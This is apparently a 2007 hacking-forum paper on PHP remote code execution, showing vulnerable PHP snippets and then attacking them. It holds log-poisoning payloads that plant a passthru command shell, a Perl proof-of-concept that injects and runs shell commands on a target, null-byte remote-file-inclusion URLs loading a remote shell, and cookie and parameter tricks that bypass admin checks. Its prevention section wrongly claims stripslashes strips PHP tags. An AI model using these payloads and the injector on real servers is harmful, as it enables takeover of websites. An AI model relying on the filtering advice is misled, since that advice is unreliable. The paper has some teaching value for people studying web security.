/*

Php Endangers - Remote Code Execution

Arham Muhammad
rko.thelegendkiller@gmail.com

*/

==========
An Article By Arham Muhammad
Hacking-Truths.Net
==========

x41 - Intro
x42 - Basics Of Remote Code Execution And How It Develops
x43 - Exactly How An Attacker Get Advantage Over This Vulnerability And Misuse It!
x44 - Prevention And Filtration
x45 - Conclusion

==========
x41 - Intro
++++++++++

The B@sIc::
InTr0:

Remote Code Execution Is Yet Another Common Vulnerability
existing is wide range of web apps in the current era.It allows a remote
attacker to execute arbitrary code in the sytem
with administrator privelages without the attention of
the owner of the targetted site.It's just not a-hole-to-avoid, but an
extremely risky vulnerability,which can endanger your site to different attacks,
malicious deletion of data,even worst Defacing!

++++++++++

x42 - Basics Of Remote Code Execution And How It Develops
==========

Basic Remote Code Executions:

Now I will highlight some basics remote code executions
being planted that exist still in this era of web app development.

We will now examine a comment form getting comments from a user("submit.php") and posting it at "comments.php"

We Are analyzing submit.php with simple post method that submits the gathered user input and forward the request to
comments.php.

```
/*

submit.php::

<form method="POST" action="">
<textarea rows="10" name="comments" cols="60"></textarea>
<p><input type="submit" value="Post" name="sub"></p>
</form>

============================================================

comments.php::

<?php

$comments = $_POST['comments'];
$log = fopen('comments.php','a');
fwrite($log,'<br />'.'<br />.'<center>'.'Comments::'.'<br />'.$comments);
fclose($log);

?>

*/
```

Now by just looking at it, we could very easily proove it as insane! How??
Well,as we can see there is a form that submits
a user inputted(what-so-ever) comments to comments.php including malicious which writes the comments exactly as user's input
witout being sanitized.This means that an attacker here is getting full advantage to exploit the vulnerable comments
submission form by executing some malicious request, which could be just to gather server details like using phpinfo()
which is an exceptional case for attackers these days,or even more pathetic could be getting a shell on a vulnerable server.

We will take another example using GET request to display error message and log the ip with the specific message.
(it's a common vulnerability planted by the coder while developing a website for an organization,etc).'x'.

```
/*

info.php::
```

```
<?php
$msg = $_GET['msg'];
$ip = getenv('REMOTE_ADDR');
$error = fopen('errorlog.php','a');
fwrite($error,'<br />'.$msg.'<br />'.$ip.'<br />');
fclose($error);
?>

*/
```

This piece not only effect and vulnerable to remote code execution but also to several other attacks including
xss,javascript injection,vbscript injection etc.

This will too allow a remote attacker to posion the log file and inject malicious code to the logs.
==========

Now I will highlight another type of remote code execution can also be defined as posioning the cookies ;)

```
/*
<?php
require("config.php");
if(!isset($_COOKIE['admin']))
{
header("Location:admin.php?user=admin");
}
?>
*/
```

Now we see the code is really pissed! In simple terms, its trying to say if the cookies of the system matches "admin"
then it verifies a user as the administrator.This is totally bad!

We will look upon another example like this which uses GET request to verify a user status::

```
/*
$admin = $_GET['admin'];
if(!isset($admin == 1)){
$queryxyz = "SELECT * from user where username='$admin'";
header("Location:admin/admin.php");
}
*/
```

It can be just more complicated than that, like most possibly there can be usage of sessions to verify admin if the
variable "admin" would match "1", how ever this is just an sql query used to select administrator as the user when
admin = 1 ;) The query is giving possibly another vulnerability :P Yeah, right "Sql INJection!";
==========

Remote Code Execution is also possible through headers deposition or an arbitrary file upload if theres a file processing
system and is not sanitized.

==========
==========

==========
==========
x43 - Exactly How An Attacker Get Advantage Over This Vulnerability And Misuse It!
==========
==========

I will highlight exactly how an attacker manage to do this

Likely supposing an attacker finding a vulnerable target and he got hold of the news that a GET variable have been
implemented here in order to log a particular data to some specific file lets say 'x'. The attacker will struggle to their
best to get hold of the file where the data is being wrote, path arrays are used by the attacker for successfull exploitation
and then of course the attacker will likely inject some malicious
string in order to check if it's filtering the output, in this case no it's not doing any checkup or using htmlentities or
htmlspecialchars() funcs.So the attacker will likely get a hell lot of benefit from this.Most probably he will try to spawn
a shell on the targetted server to gain full advantages of his or her blackhat stuff ;)
Supposing an attack on the victim host

http://victim.xxx/info.php?msg=<? passthru($_GET['attacker']); ?>

This will posion the log file and inject a vulnerable piece of code which can be later exploited and
treated as a Remote File Inclusion(RFI) Vulnerability
to get a shell on the victim server and show his/her dirty works..

Probably, ||http://victim.xxx/errorlog.php?attacker=Sh3ll?||

This will do the work! ;)

In some other cases like the one "if(!isset($admin == 1)" it could be also exploited with great ease, the attacker just
have to spoof the variable from the server request and that's not at all difficult being a GET variable :p

http://victim.xxx/file.php?admin=1

This will do it ;)

and for the cookies thingy it's same... just need to edit cookies and you are the master!

Supposingly the below pattern::

```
if(!isset($_COOKIE['administrator'])){
//Some Authencation Headers Below
...
}
```

In this type of pattern, you just change the cookies to administrator and tada you are in as admin!

It's better to handle the case with care.I will now write a little POC(Proof-Of-Concept) in order to explain
and exploit the target remotely and quite easily! It's not good but important to use such kind of script
to expoit the issue and execute the command successfully,since the browser will surely encode your tags, making
the request not at all efficient and successful!

The below script would bypass this, and fulfill it's purpose at all cost :)

==========

POC::

```
/*
#!/usr/bin/perl
#Php Endangers - Remote Code Execution
#POC To inject and execute a malicious request, probably spawning and executing a shell command

use LWP::Simple;
use LWP::UserAgent;

sub header()
{

print q{
-------------------------------------------------------------------------------
---------
Usage <target> <vulnerable file> <variable> <log file> <shell> <command>
Example roc.pl http://127.0.0.1 info.php msg errorlog.php
http://127.0.0.1/r57.txt ls -la
-------------------------------------------------------------------------------
----------
}
}

$inject = "<?php if(get_magic_quotes_gpc()){
/$_GET[cmd]=stripslashes(/$_GET[cmd])/;} passthru(/$_GET[cmd])/; ?>";

#You may notice some additional funcs used to inject, these are to execute and produce 99% successful result
#it would help and bypass magic_quotes func and stripslashes too, that would possibly of lot good to the attacker!

if(@ARGV !=5){
header();
}

$target = @ARGV[0];
$file = @ARGV[1];
$var = @ARGV[2];
$log = @ARGV[3];
$shell = @ARGV[4];
$command = @ARGV[5];
```

```
$agent = LWP::UserAgent->new();
$exec = "http://$target/$file?$var=$inject";
$agent->get("$exec");
$exec2 = "http://$target/$log?attacker=$shell&$cmd=$command?";
$agent->get("$exec2")
or die"Host Seems Down";
print "Injected Successfully!!";

print "Check The Shell Manually At"."
"."http://$target/$log?attacker=$shell&$cmd=$command?";

#REMOTE CODE EXECUTION
#An explanation POC for exploiting the roc(Remote CODE Execution) Vulnerability.
*/
```

==========

Null Bytes Injection::

In A Piece Of Code Like One Mentioned Below, It Would Be A Wonder To An Attacker How To Eliminate The Compulsory
File Extension And Exploit The Vulnerability Or Use The Inclusion To Execute A Shell Upon The Tagetted Server.

```
<?php
$file = $_GET['file'];
include('$file.php');
?>
```

Now we can clearly declare the above code as a critical vulnerability, helping attacker to do a lfi or rfi depending
on the attacker's strategy.But it's clear that the inclusion would be failed because of the extension increment issue.

Now the attacker would surely like this at all, and will try to elminate the extension by using NULL BYTES Or Posioning
null bytes in to the server.

Below is an example what exactly happens when a inclusion is performed in such case::

http://victim.xxx/include.php?file=http://127.0.0.1/sh3ll.txt?

since the code is adding extensions after $file variable means it would be adding .php after .txt, thus making
the exploitation dumb,in simple it would make the request looks like::

http://victim.xxx/include.php?file=http://127.0.0.1/sh3ll.txt.php?

Where such case dont exist!

Now the attacker will eliminate the extension to successfully exploit the issue by posioning null bytes in the request
made,below is how the attacker will manage to do so::

http://victim.xxx/include.php?file=http://127.0.0.1/sh3ll.txt%00

This would make the request eliminate the additional extension, and would successfully exploit the issue!

==========
x44 - Prevention And Filtration

==========
Prevention::

It's better to design what-so-ever form in such a way that it sanitizes and filters a user input before
writing or actually executing the request on the server. This can be done easily with the ease of php
built in htmlentities(); htmlspecialchars(); and most importantly strip_tags and stripslashes functions.
This Will abort a malicious request and will execute the request after the malicious tags had been aborted.
For instance an attacker trying to inject a piece of code 'y' to a GET variable....

http://victim.xxx/file.php?var=<? phpinfo(); ?>

now if the file is under htmlentities,htmlspecialchars,strip_tags or stripslashes() protection, then this will make the
request of the attacker totally dumb and of course of no use!

Supposingly a simple filtration pattern:

```
/*
<?php
$data = stripslashes($_GET['data']);
$fh = fopen('file.php','a');
fwrite($fh,$data);
fclose($fh);
?>
*/
```

This will abort the tags "<?", "?>","()" and ofcourse will make the rest of the piece of code of no use since
"phpinfo" is not insane or looks malicious the server will only write that in exact ascii form to the file.

There are even better cures by using magicquotes on, how ever it can cause some other complicated problems if not used properly,
so it's not recommended to beginners until they know what they are doing.

==========
x45 - Conclusion
==========

Conclusion::

I have used several examples to explain the basics of remote code execution and exactly how it's planted in web apps.

I have tried my level best to explain the terms and consequences in simple and easy words including all piece of codes
mentioned here.However I don't hold any responsibility of any misuse or dirtyworks performed by gaining the knowledge
within the paper.Beside this, I strongly recommend all to go through it, it's simple and easy and will awoke the dangers
that can be encountered by little careless mistakes!

++

PhP EnDang3rs - R3m0t3 c0d3 3x3cu-|!on

===

Greets:: str0ke(soo supportive nd the best!),HackMan(simply gr8),tushy,(owe you a lot!) Abdullah,Saad,Faisal,
Maaz,Talha And Ofcourse my sweet sweet AmBi(My love!!) ;)

Wishes also goes to all my friends at milw0rm forum(the place i loved and every body does) and to the whole of
Pakistan!!

Of course Hacking-Truths.Net - A Great Place To Get Hold With Latest Stuff!

And Evergreen milw0rm.com

==

milw0rm.com [2007-08-15]